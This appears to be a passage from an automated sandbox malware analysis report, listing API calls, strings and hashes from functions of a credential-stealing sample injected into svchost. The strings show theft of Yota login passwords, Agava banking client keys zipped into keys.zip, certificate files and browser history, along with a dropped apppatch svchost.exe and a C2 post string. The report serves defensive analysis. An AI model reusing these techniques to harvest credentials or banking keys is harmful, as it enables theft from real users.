HeapValidate.KERNEL32(00000000), ref: 02C771B5
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C771C2
HeapFree.KERNEL32(00000000), ref: 02C771C5
GetProcessHeap.KERNEL32(00000000,00000000,80F500FDa,80f5007ca), ref: 02C771D2
HeapValidate.KERNEL32(00000000), ref: 02C771D5
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C771E2
HeapFree.KERNEL32(00000000), ref: 02C771E5
SetCaretBlinkTime.USER32(000000FF), ref: 02C771F7
Sleep.KERNEL32(000001F4), ref: 02C77225
StrToIntA.SHLWAPI(00000000,80F500FDa,80f5007ca), ref: 02C77255
GetProcessHeap.KERNEL32(00000000,00000000,80F500FDa,80f5007ca), ref: 02C77265
HeapValidate.KERNEL32(00000000), ref: 02C77268
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C77275
HeapFree.KERNEL32(00000000), ref: 02C77278
GetProcessHeap.KERNEL32(00000000,00000000,80F500FDa,80f5007ca), ref: 02C77285
HeapValidate.KERNEL32(00000000), ref: 02C77288
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C77295
HeapFree.KERNEL32(00000000), ref: 02C77298
Sleep.KERNEL32(00001388,80F500FDa,80f5007ca), ref: 02C772A3
closesocket.WS2_32(?), ref: 02C772D5
HeapFree.KERNEL32(00000000,00000000,?), ref: 02C772F5
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02C7730D
ReleaseMutex.KERNEL32(00000000), ref: 02C7731F
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C77342
CloseHandle.KERNEL32(00000000), ref: 02C7735C

Strings

80f5007ca, xrefs: 02C77120, 02C77234
P0#v, xrefs: 02C7717D, 02C7731F
80F500FDa, xrefs: 02C7712A, 02C7723E
Global\{EAF799BF-8449-4fe1-9A0D-95CD39DC2014}, xrefs: 02C7714A, 02C77168

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$Free$HandleMutexValidate$OpenSleep$CloseInformationReleasememset$AdminAllocBlinkCaretQueryTimeUserValueclosesocket
String ID: 80F500FDa$80f5007ca$Global\{EAF799BF-8449-4fe1-9A0D-95CD39DC2014}$P0#v
API String ID: 2871222221-3176857679
Opcode ID: 3548ed7930c8310a1a6d6fdce46fdacbe7c0baa39350409f53353e310799427f
Instruction ID: 355d3170b7eb5f5d60cfc9c333afc7f07641622d6f6c910446bbb4ad717ae0df
Opcode Fuzzy Hash: 3548ed7930c8310a1a6d6fdce46fdacbe7c0baa39350409f53353e310799427f
Instruction Fuzzy Hash: CC51E331E84798ABE722AB709C0CF2BBB6CAF84B55F044B54F919C7181DB74D9148BA1

Function 02C8B260 Relevance: 58.0, APIs: 25, Strings: 8, Instructions: 268fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C8B27F
PathAddBackslashA.SHLWAPI(7F1BFC0D), ref: 02C8B2B7
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8B2F7
GetLastError.KERNEL32 ref: 02C8B301
IsUserAnAdmin.SHELL32 ref: 02C8B309
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8B31A
SetLastError.KERNEL32(00000000), ref: 02C8B321
StrStrIA.SHLWAPI(?,crypto), ref: 02C8B333
StrStrIA.SHLWAPI(?,self.cer), ref: 02C8B346
StrStrIA.SHLWAPI(?,self.pub), ref: 02C8B357
SetFileAttributesA.KERNEL32(?,00000000), ref: 02C8B3A2
DeleteFileA.KERNEL32(?), ref: 02C8B3AF

Strings

Local\{EAF799BF-8989-4fe1-9A0D-95CD39DC2014}, xrefs: 02C8B4C4
path.txt, xrefs: 02C8B37F
self.pub, xrefs: 02C8B34F
crypto, xrefs: 02C8B32D
P0#v, xrefs: 02C8B4E5
self.cer, xrefs: 02C8B33B
7F1BFC0D, xrefs: 02C8B2B2, 02C8B2BD, 02C8B412, 02C8B41D
keys.zip, xrefs: 02C8B45B

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ErrorFileLastPath$AdminAttributesBackslashCreateDeleteDirectoryFolderMakeSystemUsermemset
String ID: 7F1BFC0D$Local\{EAF799BF-8989-4fe1-9A0D-95CD39DC2014}$P0#v$crypto$keys.zip$path.txt$self.cer$self.pub
API String ID: 3980609930-47090278
Opcode ID: b85e1bfe1a9c5eeb6e6165df905624b224069a2a6575898c6dfce15adcfa8f1d
Instruction ID: 5ad5ee6bccef20e133d7fc16b21af62fb9397bf821c6795b30a19155e8360a8c
Opcode Fuzzy Hash: b85e1bfe1a9c5eeb6e6165df905624b224069a2a6575898c6dfce15adcfa8f1d
Instruction Fuzzy Hash: 98912631D402999FDB16AB749C59BEA7BE8AFC570CF04C698E94AD7240DB70DE04CB90

Function 02C92AE0 Relevance: 56.2, APIs: 24, Strings: 8, Instructions: 193stringsynchronizationsleepCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 02C92B23
strstr.MSVCRT ref: 02C92B36
strstr.MSVCRT ref: 02C92B49
PathAddBackslashA.SHLWAPI(02CCAFC0), ref: 02C92B77
PathAddBackslashA.SHLWAPI(02CCAFC0), ref: 02C92BAD
CreateDirectoryA.KERNEL32(?,00000000,02CCAFC0), ref: 02C92BC2
GetLastError.KERNEL32 ref: 02C92BCC
IsUserAnAdmin.SHELL32 ref: 02C92BD4
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C92BE5
SetLastError.KERNEL32(00000000), ref: 02C92BEC
SetCurrentDirectoryA.KERNEL32(?), ref: 02C92BF9
strstr.MSVCRT ref: 02C92C2C
PathAddBackslashA.SHLWAPI(02CCAFC0), ref: 02C92C57
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C92C91
GetLastError.KERNEL32 ref: 02C92C9B
IsUserAnAdmin.SHELL32 ref: 02C92CA3
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C92CB4
SetLastError.KERNEL32(00000000), ref: 02C92CBB
SetCurrentDirectoryA.KERNEL32(?), ref: 02C92CC8
CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF799BF-89ea-4fe1-9A0D-95CD39DC0214},02C8753A,02C8753B), ref: 02C92CFE
Sleep.KERNEL32(000003E8), ref: 02C92D0F
ReleaseMutex.KERNEL32(00000000), ref: 02C92D16
GetHandleInformation.KERNEL32(00000000,02C8753A), ref: 02C92D28
CloseHandle.KERNEL32(00000000), ref: 02C92D39

Strings

pass.txt, xrefs: 02C92C12
login.yota.ru, xrefs: 02C92B1D
IDToken1=, xrefs: 02C92B30
Local\{EAF799BF-89ea-4fe1-9A0D-95CD39DC0214}, xrefs: 02C92CEB
IDToken2=, xrefs: 02C92B43
P0#v, xrefs: 02C92D16
YotaConfirmForm%5Bpassword%5D, xrefs: 02C92C26
pass2.txt, xrefs: 02C92CE1

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Path$DirectoryErrorLaststrstr$BackslashCreate$AdminCurrentFolderHandleMakeMutexSystemUser$CloseInformationReleaseSleep
String ID: IDToken1=$IDToken2=$Local\{EAF799BF-89ea-4fe1-9A0D-95CD39DC0214}$P0#v$YotaConfirmForm%5Bpassword%5D$login.yota.ru$pass.txt$pass2.txt
API String ID: 1263884631-1922424858
Opcode ID: 7297fe5ea6fcd3cf08288293d290530811add111bc9e7b35f1f83ff277afdf40
Instruction ID: 93fde4a2732c95acd5d75c4d9674dba764e2e6ed506e508d1241570a2ef67f6d
Opcode Fuzzy Hash: 7297fe5ea6fcd3cf08288293d290530811add111bc9e7b35f1f83ff277afdf40
Instruction Fuzzy Hash: D651E031A406596BEF229B349C1CBAA3B9CAF85349F144A94ECC6D7140DF71C648CBA2

Function 02C753E0 Relevance: 52.8, APIs: 23, Strings: 7, Instructions: 271memoryfileCOMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(?,76232F00,00000000,76230F00), ref: 02C75405
SetFileAttributesA.KERNEL32(?,00000000), ref: 02C7543F
DeleteFileA.KERNEL32(?), ref: 02C7544C
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 02C7546B
SHGetFolderPathA.SHELL32(00000000,00000022,00000000,00000000,?), ref: 02C7548C
GetProcessHeap.KERNEL32(00000000,00000000,02C82665,00000001), ref: 02C7550B
HeapValidate.KERNEL32(00000000), ref: 02C7550E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C7551B
HeapFree.KERNEL32(00000000), ref: 02C7551E
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 02C75533

Strings

links.log, xrefs: 02C7541A
http, xrefs: 02C75580
\History.IE5\index.dat, xrefs: 02C754AE
\Opera\Opera\global_history.dat, xrefs: 02C755FA
http, xrefs: 02C75620
http, xrefs: 02C754E0
\Opera\Opera\typed_history.xml, xrefs: 02C75555

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$FilePath$FolderProcess$AttributesBackslashCreateDeleteFreeValidate
String ID: \History.IE5\index.dat$\Opera\Opera\global_history.dat$\Opera\Opera\typed_history.xml$http$http$http$links.log
API String ID: 772302041-762728116
Opcode ID: a3472fe0c7af3a7a90eb6693d0528da1f65fd5715031649f65d91ef3466f12b1
Instruction ID: 22586ef335f1538914494fa27962e674e6c067f21e5578ca48d3104f23decb94
Opcode Fuzzy Hash: a3472fe0c7af3a7a90eb6693d0528da1f65fd5715031649f65d91ef3466f12b1
Instruction Fuzzy Hash: 1B913B70E40359ABDB22CF60DC84FEABBB9EF44744F844584E945AB180DB70AB45CB90

Function 02C86E40 Relevance: 51.1, APIs: 24, Strings: 5, Instructions: 391fileCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 02C86FA2
malloc.MSVCRT ref: 02C87003
sprintf.MSVCRT ref: 02C87012
calloc.MSVCRT ref: 02C8701C
fopen.MSVCRT ref: 02C87029
sprintf.MSVCRT ref: 02C8703F
fopen.MSVCRT ref: 02C8704A
free.MSVCRT ref: 02C8705C
free.MSVCRT ref: 02C8705F
free.MSVCRT ref: 02C8706B
malloc.MSVCRT ref: 02C87091
fread.MSVCRT ref: 02C8709F
fclose.MSVCRT ref: 02C870AE
free.MSVCRT ref: 02C870BB
free.MSVCRT ref: 02C870BE
malloc.MSVCRT ref: 02C87121
realloc.MSVCRT ref: 02C8712C
fseek.MSVCRT ref: 02C87141
fread.MSVCRT ref: 02C87151
fclose.MSVCRT ref: 02C87162
malloc.MSVCRT ref: 02C8717E
malloc.MSVCRT ref: 02C87187
malloc.MSVCRT ref: 02C87190
malloc.MSVCRT ref: 02C8719C

Strings

7f1bf8b2, xrefs: 02C86E47
%s.dbf, xrefs: 02C8700C
rb+, xrefs: 02C86EEE, 02C86F89
r+b, xrefs: 02C86F1E
%s.DBF, xrefs: 02C87039

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: malloc$free$fclosefopenfreadsprintf$callocfseekrealloc
String ID: %s.DBF$%s.dbf$7f1bf8b2$r+b$rb+
API String ID: 3942648141-3192437867
Opcode ID: 564d86793eb1186b01d6d2885932206889d53179d3c9400a760a3b6f8322c1f8
Instruction ID: ad5fb03736374132df973ddc7ff881cc1540fac488caea9b5d691a9763841805
Opcode Fuzzy Hash: 564d86793eb1186b01d6d2885932206889d53179d3c9400a760a3b6f8322c1f8
Instruction Fuzzy Hash: 44D11EB19042D55FC7125F3D8C94776BFEAAF86208F2886A8E895C7342E733D609C750

Function 02C79B50 Relevance: 51.0, APIs: 26, Strings: 3, Instructions: 275COMMON

Download Yara Rule

Strings

open, xrefs: 02C79D2D
P0#v, xrefs: 02C79D3F, 02C79D7E
taskmgr, xrefs: 02C79D28

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID:
String ID: P0#v$open$taskmgr
API String ID: 0-2917657181
Opcode ID: b7e6082617a72ea4ac1b231db91d193152cf0d342a2d59c8e298340c67ce67c6
Instruction ID: c90015fce84a43227881360fce1100c2b29f9ed26db122529d9413665eac2634
Opcode Fuzzy Hash: b7e6082617a72ea4ac1b231db91d193152cf0d342a2d59c8e298340c67ce67c6
Instruction Fuzzy Hash: 6B91C431A80284EBD712DF69ED49FABBB7CEBC5711F104B95F90597281C730A961CBA0

Function 02C91BA0 Relevance: 51.0, APIs: 17, Strings: 12, Instructions: 273stringCOMMON

Download Yara Rule

APIs

Part of subcall function 02C93170: memset.MSVCRT ref: 02C93194
Part of subcall function 02C93170: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02C9319F

OpenProcess.KERNEL32(00000410,00000000,00000000,Agava_Client.exe), ref: 02C91BC6
GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 02C91BE5
GetHandleInformation.KERNEL32(00000000,?), ref: 02C91BF7
CloseHandle.KERNEL32(00000000), ref: 02C91C08
GetPrivateProfileStringA.KERNEL32(Containers,UseToken,00000000,?,00000104,?), ref: 02C91C50
strstr.MSVCRT ref: 02C91C64
GetPrivateProfileStringA.KERNEL32(Containers,KeysDiskPath,00000000,?,00000104,?), ref: 02C91CA4
strstr.MSVCRT ref: 02C91CB2
strstr.MSVCRT ref: 02C91CC7
SetCurrentDirectoryA.KERNEL32(?), ref: 02C91D64
PathAddBackslashA.SHLWAPI(7f1bf95c), ref: 02C91D9D

Strings

.ini, xrefs: 02C91C32
KeysDiskPath, xrefs: 02C91C9A
Agava_Client.ini, xrefs: 02C91CC1
P0#v, xrefs: 02C91EFF
7f1bf95c, xrefs: 02C91D98, 02C91D9F, 02C91E32, 02C91E39
Agava_keys, xrefs: 02C91D38
UseToken, xrefs: 02C91C46
Local\{EAF777FF-8989-4fe1-977D-95CD777C0214}, xrefs: 02C91EDE
keys.zip, xrefs: 02C91DE8
Agava_Client.exe, xrefs: 02C91BAC
keys_path.txt, xrefs: 02C91E78
Containers, xrefs: 02C91C4B, 02C91C9F

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: strstr$HandlePrivateProfileString$BackslashCloseCreateCurrentDirectoryFileInformationModuleNameOpenPathProcessSnapshotToolhelp32memset
String ID: .ini$7f1bf95c$Agava_Client.exe$Agava_Client.ini$Agava_keys$Containers$KeysDiskPath$Local\{EAF777FF-8989-4fe1-977D-95CD777C0214}$P0#v$UseToken$keys.zip$keys_path.txt
API String ID: 2651364649-292714684
Opcode ID: 571e122fc8df3b38df1a959031803ecffd07d5f7d0d989ff883e76ae471477e2
Instruction ID: 8530997ed578a2fdf82a443dd6cfe597021f2c815232704f86ca57ebae2b196d
Opcode Fuzzy Hash: 571e122fc8df3b38df1a959031803ecffd07d5f7d0d989ff883e76ae471477e2
Instruction Fuzzy Hash: 15A1193194429E8FDF17CB249C5DBEA7BE9EF45300F1846E4E949D7240EBB19A48CB90

Function 02C89ED0 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 214fileCOMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7f1bfc59), ref: 02C89F18
CreateDirectoryA.KERNEL32(02CCB9D8,00000000), ref: 02C89F58
GetLastError.KERNEL32 ref: 02C89F5E
IsUserAnAdmin.SHELL32 ref: 02C89F66
PathMakeSystemFolderA.SHLWAPI(02CCB9D8), ref: 02C89F75
SetLastError.KERNEL32(00000000), ref: 02C89F7C
SetFileAttributesA.KERNEL32(02CCB9D8,00000000), ref: 02C89FB1
DeleteFileA.KERNEL32(02CCB9D8), ref: 02C89FBC
PathAddBackslashA.SHLWAPI(7f1bfc59,00000000,00000001), ref: 02C8A006

Strings

path.txt, xrefs: 02C89F90
7f1bfc59, xrefs: 02C89F13, 02C89F1E, 02C8A001, 02C8A00C
P0#v, xrefs: 02C8A0FA
Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}, xrefs: 02C8A0DD

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Path$BackslashErrorFileLast$AdminAttributesCreateDeleteDirectoryFolderMakeSystemUser
String ID: 7f1bfc59$Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}$P0#v$path.txt
API String ID: 2920098687-2492803057
Opcode ID: dc09b160e95cc9d1a8e2520c945cc2bb42e4f49a67d8cfef1e0e84e47db0705f
Instruction ID: e060a6dc4a62d9af18e8e24f33a177b5cb2f0831524c4b233497ef898910154f
Opcode Fuzzy Hash: dc09b160e95cc9d1a8e2520c945cc2bb42e4f49a67d8cfef1e0e84e47db0705f
Instruction Fuzzy Hash: 74614431A406819FE7165B749C59B7B3BE8AF8974AF188699FC87CB341CB71CA04C790

Function 02C89EF8 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 206fileCOMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7f1bfc59), ref: 02C89F18
CreateDirectoryA.KERNEL32(02CCB9D8,00000000), ref: 02C89F58
GetLastError.KERNEL32 ref: 02C89F5E
IsUserAnAdmin.SHELL32 ref: 02C89F66
PathMakeSystemFolderA.SHLWAPI(02CCB9D8), ref: 02C89F75
SetLastError.KERNEL32(00000000), ref: 02C89F7C
SetFileAttributesA.KERNEL32(02CCB9D8,00000000), ref: 02C89FB1
DeleteFileA.KERNEL32(02CCB9D8), ref: 02C89FBC
PathAddBackslashA.SHLWAPI(7f1bfc59,00000000,00000001), ref: 02C8A006

Strings

path.txt, xrefs: 02C89F90
7f1bfc59, xrefs: 02C89F13, 02C89F1E, 02C8A001, 02C8A00C
P0#v, xrefs: 02C8A0FA
Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}, xrefs: 02C8A0DD

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Path$BackslashErrorFileLast$AdminAttributesCreateDeleteDirectoryFolderMakeSystemUser
String ID: 7f1bfc59$Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}$P0#v$path.txt
API String ID: 2920098687-2492803057
Opcode ID: e195dc1e046f053eb3141a29de2c19dabbddba979bd7578a9c02a843e74f8530
Instruction ID: 058d2e19cc3ae5a7eb33f0f5158297650a9a262ff920cb78621d39c29839aa8a
Opcode Fuzzy Hash: e195dc1e046f053eb3141a29de2c19dabbddba979bd7578a9c02a843e74f8530
Instruction Fuzzy Hash: 52615831A402919BE7165B749C59B7B3BE8AF8A74AF188599FC87C7341CB31CD05C790

Function 02C906E0 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 225fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C906FE
PathAddBackslashA.SHLWAPI(7f1bf841), ref: 02C9073F
PathAddBackslashA.SHLWAPI(7f1bf841), ref: 02C9077B
CreateDirectoryA.KERNEL32(?,00000000,7f1bf841), ref: 02C90790
GetLastError.KERNEL32 ref: 02C9079A
IsUserAnAdmin.SHELL32 ref: 02C907A2
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C907B3
SetLastError.KERNEL32(00000000), ref: 02C907BA
SetFileAttributesA.KERNEL32(?,00000000), ref: 02C907F2
DeleteFileA.KERNEL32(?), ref: 02C907FF
PathAddBackslashA.SHLWAPI(7f1bf841,?,?), ref: 02C90847

Strings

path.txt, xrefs: 02C907CF
7f1bf841, xrefs: 02C9073A, 02C90741, 02C90774, 02C9077D, 02C90842, 02C9084D
keys.zip, xrefs: 02C908C8

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Path$Backslash$ErrorFileLast$AdminAttributesCreateDeleteDirectoryFolderMakeSystemUsermemset
String ID: 7f1bf841$keys.zip$path.txt
API String ID: 1668326001-3963007484
Opcode ID: 061c459f3358f74cae1d51bf583356a7047ce1b8a08023aa8d9ec97b01a96b21
Instruction ID: b2282085784792c57ea597b4e053d02bf983241986ebfcbaf99e989dbca682b6
Opcode Fuzzy Hash: 061c459f3358f74cae1d51bf583356a7047ce1b8a08023aa8d9ec97b01a96b21
Instruction Fuzzy Hash: 3E714731A402999FEB128B349C5CBAB7BE8EF85704F144AD4E985DB241DF71CA49CF90

Function 02C8EB60 Relevance: 47.5, APIs: 23, Strings: 4, Instructions: 215COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C8EB7E
PathAddBackslashA.SHLWAPI(7F1BFDA3), ref: 02C8EBAB
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8EBED
GetLastError.KERNEL32 ref: 02C8EBF3
IsUserAnAdmin.SHELL32 ref: 02C8EBFB
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8EC0C
SetLastError.KERNEL32(00000000), ref: 02C8EC13
PathAddBackslashA.SHLWAPI(7F1BFDA3,?,?), ref: 02C8EC87
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 02C8ECC5

Strings

path.txt, xrefs: 02C8EC28
P0#v, xrefs: 02C8ED7E
Local\{EAF799BF-8989-4fe1-9A0D-95CD39DC0214}, xrefs: 02C8ED5D
7F1BFDA3, xrefs: 02C8EBA6, 02C8EBB1, 02C8EC82, 02C8EC8D

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Path$BackslashCreateDirectoryErrorLast$AdminFolderMakeSystemUsermemset
String ID: 7F1BFDA3$Local\{EAF799BF-8989-4fe1-9A0D-95CD39DC0214}$P0#v$path.txt
API String ID: 2217318736-2109808429
Opcode ID: 58c15778cd57061d1bf4c3995e2303941722763288b21a53f60d0d2a0ae54a50
Instruction ID: 2ed45fa89f3537049a4328ad7dd3c48984d289ba92d9bddbc3343abe1d9e4ec7
Opcode Fuzzy Hash: 58c15778cd57061d1bf4c3995e2303941722763288b21a53f60d0d2a0ae54a50
Instruction Fuzzy Hash: F57127319006955FDB129B349C58BEB7BE8AF85308F14CA95FD86CB241EB70DA49CB90

Function 02C842C0 Relevance: 45.7, APIs: 23, Strings: 3, Instructions: 182memorysleepthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 02C832F0: IsUserAnAdmin.SHELL32 ref: 02C832FA
Part of subcall function 02C832F0: memset.MSVCRT ref: 02C83330
Part of subcall function 02C832F0: RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,?,?,?,00000000), ref: 02C83357
Part of subcall function 02C832F0: RegQueryValueExA.ADVAPI32(?,00000001,00000000,00000001,00000000,00000104,?,?,00000000), ref: 02C8337A
Part of subcall function 02C832F0: GetProcessHeap.KERNEL32(00000008,00000015,?,?,00000000), ref: 02C833ED
Part of subcall function 02C832F0: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 02C833F4
Part of subcall function 02C832F0: memset.MSVCRT ref: 02C83404

GetTickCount.KERNEL32 ref: 02C842E1
_snprintf.MSVCRT ref: 02C842F6

Part of subcall function 02C83D90: IsNetworkAlive.SENSAPI(02C763DD,00000000), ref: 02C83DA3
Part of subcall function 02C83D90: IsUserAnAdmin.SHELL32 ref: 02C83DB1
Part of subcall function 02C83D90: DnsFlushResolverCache.DNSAPI ref: 02C83DBB
Part of subcall function 02C83D90: memset.MSVCRT ref: 02C83DD8
Part of subcall function 02C83D90: lstrcpynA.KERNEL32(00000000,http://,00000104,?,00000000,00000000), ref: 02C83DF7
Part of subcall function 02C83D90: StrNCatA.SHLWAPI(00000000,www.bing.com,00000104), ref: 02C83E10
Part of subcall function 02C83D90: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C83E23
Part of subcall function 02C83D90: memset.MSVCRT ref: 02C83E3C
Part of subcall function 02C83D90: lstrcpynA.KERNEL32(00000000,http://,00000104,?,?,?,?,00000000,00000000), ref: 02C83E55
Part of subcall function 02C83D90: StrNCatA.SHLWAPI(00000000,www.microsoft.com,00000104), ref: 02C83E68
Part of subcall function 02C83D90: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C83E75

Sleep.KERNEL32(000001F4), ref: 02C84315
GetTempPathA.KERNEL32(00000104,?), ref: 02C8432C
GetTempFileNameA.KERNEL32(?,00000000,00000000,?), ref: 02C84344
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C843AC
HeapValidate.KERNEL32(00000000), ref: 02C843AF
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C843BC
HeapFree.KERNEL32(00000000), ref: 02C843BF
RtlImageNtHeader.NTDLL(00000000), ref: 02C8440E
TerminateThread.KERNEL32(000002A0,00000000), ref: 02C84438

Strings

C:\Windows\apppatch\svchost.exe, xrefs: 02C8441C, 02C84440, 02C84455, 02C84460, 02C84476
80F503A7a, xrefs: 02C842C9
id=1&post=%u, xrefs: 02C842E8

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$memset$Process$AdminCheckConnectionInternetTempUserlstrcpyn$AliveAllocCacheCountFileFlushFreeHeaderImageNameNetworkOpenPathQueryResolverSleepTerminateThreadTickValidateValue_snprintf
String ID: 80F503A7a$C:\Windows\apppatch\svchost.exe$id=1&post=%u
API String ID: 3337567932-3078109131
Opcode ID: e2e9da4f6c5ab10f68bee24fd1a57cdc281e0e90e6a58f9f9bc6091db8cea263
Instruction ID: bbd2204ae303518fbca62e2b7ffa70cbcb0041e8f9508d5356b3ba8fd619da67
